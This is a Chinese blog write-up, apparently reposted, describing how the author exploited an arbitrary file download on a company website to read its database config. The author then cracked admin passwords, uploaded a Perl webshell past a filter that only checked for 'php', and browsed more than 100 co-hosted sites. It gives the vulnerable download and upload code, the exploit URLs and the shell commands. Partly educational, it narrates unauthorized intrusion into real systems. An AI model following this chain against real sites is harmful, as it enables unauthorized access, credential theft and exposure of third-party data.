某集團(tuán)任意文件下載到虛擬主機(jī)getshell的方法
0x01 前言
從某群的故事改編而來,都是些老套路各位看官看得高興就好;第一次在i春秋發(fā)帖有點(diǎn)緊張,如果有什么不周到的地方請去打死阿甫哥哥。你沒聽錯(cuò),阿甫哥哥推薦。
0x02 什么是任意文件下載
說到文件下載各位童鞋都不陌生(老司機(jī)請?zhí)^),我們要下載網(wǎng)站上某個(gè)文件(.zip、.doc、.pdf)直接請求這個(gè)文件即可格式一般為:域名+相對路徑+文件名,如http://www.test.com/downlad/test.zip。而在網(wǎng)站上下載文件一般分為兩種,一種就是剛才所說的直接請求某個(gè)文件,還有一種就是網(wǎng)站運(yùn)營者提供了一個(gè)下載腳我們只需要請求:http://www.test.com/download.php?filename=test.zip(文件名)這樣的url也可以下載文件。
眾所周知,我們請求一個(gè)網(wǎng)站上的腳本文件(這里以php為例)是不會(huì)被下載的,如:http://www.test.com/test.php。那任意文件下載是怎么造成的呢?這里就是上面說到的第二種情況了,網(wǎng)站運(yùn)營者提供了http://www.test.com/download.php?filename=test.zip這樣一個(gè)連接本意是想訪問者下載test.zip文件,但是沒有做好安全措施導(dǎo)致任意文件下載。 舉個(gè)栗子:
測試環(huán)境(phpstudy):windows7+php-5.5.38+apache
一個(gè)任意文件下載腳本test.php,代碼如下:
<?phpif(empty($_GET['filename'])) { echo 'i春秋任意文件下載測試~'."<br>請輸入需要下載的文件名"; } else { $filename = $_GET['filename']; $fileinfo = pathinfo($filename); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo[' name']); header('Content-Length: '.filesize($filename)); readfile($filename); exit(); } ?>
直接訪問該文件,文件并沒有被下載而是解析了其中的代碼
在網(wǎng)站根目錄下新建一個(gè)文件夾inc并新建一個(gè)名為ichunqiu.php的文件
現(xiàn)在來嘗試下載該文件,訪問:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下載該文件
0x03 某集團(tuán)任意文件下載
之前挖某集團(tuán)的漏洞時(shí)發(fā)現(xiàn)一個(gè)任意文件下載,兩個(gè)思路:①下載源碼審計(jì)-發(fā)現(xiàn)漏洞-利用;②下載數(shù)據(jù)庫文件-如果支持外聯(lián)-登錄后臺-嘗試getshell,這里我選擇了第二種。
首先下載了index.php文件,代碼如下:
<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); @header("Content-type: text/html; charset=utf-8"); InitGP(array("action","do","gid","id")); $smarty->assign("pagetag","about"); $smarty->assign("page ","index"); $lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn'; $sql="select * from $table_article where channel='1' and cat_id in(38,39) order by show_style desc,art_addtime desc limit 6 "; if($array=$DB->GetAll($sql)){ //print_r($row); $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_ =""; $seo_keywords =""; $seo_de ion =""; seo_print();//print_r($_COOKIE); $smarty->assign("action",$action); $tpl="cn/index.html"; $smarty->display($tpl);//print_r($GLOBALS); ?>
第3行包含了/include/global.php文件,繼續(xù)下載global.php文件在第31-32行代碼發(fā)現(xiàn)包含了數(shù)據(jù)庫連接文件,如下:
<?php.../* 加載基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>
在config.php中找到數(shù)據(jù)庫連接信息:
<?php// data type$db_type = "mysqli"; // data host$db_host = "xx.xx.xx.com"; // data name$db_name = "dxxxm"; // data username$db_user = "dxxxm"; // data password$db_pass = 'cxxxp1xxx6'; $dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>
站庫分離,百度site:xx.com“廈xxx有限公司”
再訪問下http://www.xxx.com/這個(gè)域名,通過掃描微信后基本確認(rèn)“xx集團(tuán)”主站的數(shù)據(jù)庫是放在“xxx有限公司”的服務(wù)器上
繼續(xù),用navacat連接找到后臺用戶帳號密碼:
用戶名 密文 解密明文
axxxn 5xxx0
gxxxn 2xxxc 1xxxv
0x04 虛擬主機(jī)getshell
接著用gxxxn/1xxxv成功登錄某集團(tuán)官網(wǎng)后臺:http://www.xxx.com/manage.php
在已發(fā)布文章里找了一處可以上傳圖片的,簡單測試了下phtml、php、php%20、php%00之類的后綴均不能繞過,只好只好下載相關(guān)文件看代碼。
<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype) { global $config; if($_FILES[$uploadname]["name"]) { $dir_file=$uploaddir; if(!file_exists($dir_file)){ mkdir($dir_file , 0777); chmod($dir_file,0777); } $filename=explode(".",$_FILES[$uploadname]['name']); do{ $filename[0] = date('YmdHis').$uploadtype; $uploadfile = $dir_file.implode(".",$filename); } while(file_exists($uploadfile)); if(strpos($uploadfile,"php")>0) { return 'no php'; } copy($_FILES[$uploadname]['tmp_name'], $uploadfile); } return str_replace($config['siteRoot'], "", $uploadfile); } ...?>
strpos($uploadfile,"php")
只過濾了php文件,陷入困境又去官網(wǎng)翻了翻突然注意到一處404仔細(xì)一看” 2.0.9 Perl”還支持perl腳本?于是在后臺找了一處上傳圖片的地方直接上傳perl腳本,結(jié)果還真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又漲姿勢了~
查看日志文件發(fā)現(xiàn)大量網(wǎng)站記錄:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts
100+的網(wǎng)站,無意間getshell某公司的虛擬主機(jī)
任意讀取一網(wǎng)站目錄下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php
雖然當(dāng)前權(quán)限不能修改和寫入,但是可跨目錄讀文件而這些網(wǎng)站的數(shù)據(jù)庫又支持外聯(lián),你懂的;
本想試試臟牛提權(quán),但怕給打死了就草草提交了
0x05 總結(jié)
① 精簡下整個(gè)過程:任意文件下載-連接數(shù)據(jù)獲得帳號密碼-后臺上傳;
② 代碼這塊有點(diǎn)php基礎(chǔ)都能看懂,學(xué)個(gè)十天半個(gè)月就成;
③ 細(xì)心吧,看到錯(cuò)誤信息才想到支持perl腳本,不過一般也只有l(wèi)inux才會(huì)有;
以上所述是小編給大家介紹的某集團(tuán)任意文件下載到虛擬主機(jī)getshell的方法,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!
相關(guān)文章
Rainbond云原生部署開源社區(qū)Discourse的配置過程
這篇文章主要為大家介紹了Rainbond云原生部署開源社區(qū)Discourse配置過程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-04-04k8s跨服務(wù)調(diào)用入門到實(shí)戰(zhàn)示例詳解
這篇文章主要為大家介紹了k8s跨服務(wù)調(diào)用入門到實(shí)戰(zhàn)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-09-09Rainbond云原生部署SpringCloud應(yīng)用架構(gòu)實(shí)踐
這篇文章主要為大家介紹了Rainbond云原生部署SpringCloud應(yīng)用架構(gòu)實(shí)踐,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-04-04在K8S中實(shí)現(xiàn)會(huì)話保持的兩種方案
這篇文章主要介紹了在K8S中實(shí)現(xiàn)會(huì)話保持的兩種方案,每種方案結(jié)合示例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-03-03K8S?實(shí)用工具之合并多個(gè)kubeconfig實(shí)現(xiàn)詳解
這篇文章主要為大家介紹了K8S?實(shí)用工具之合并多個(gè)kubeconfig實(shí)現(xiàn)詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-03-03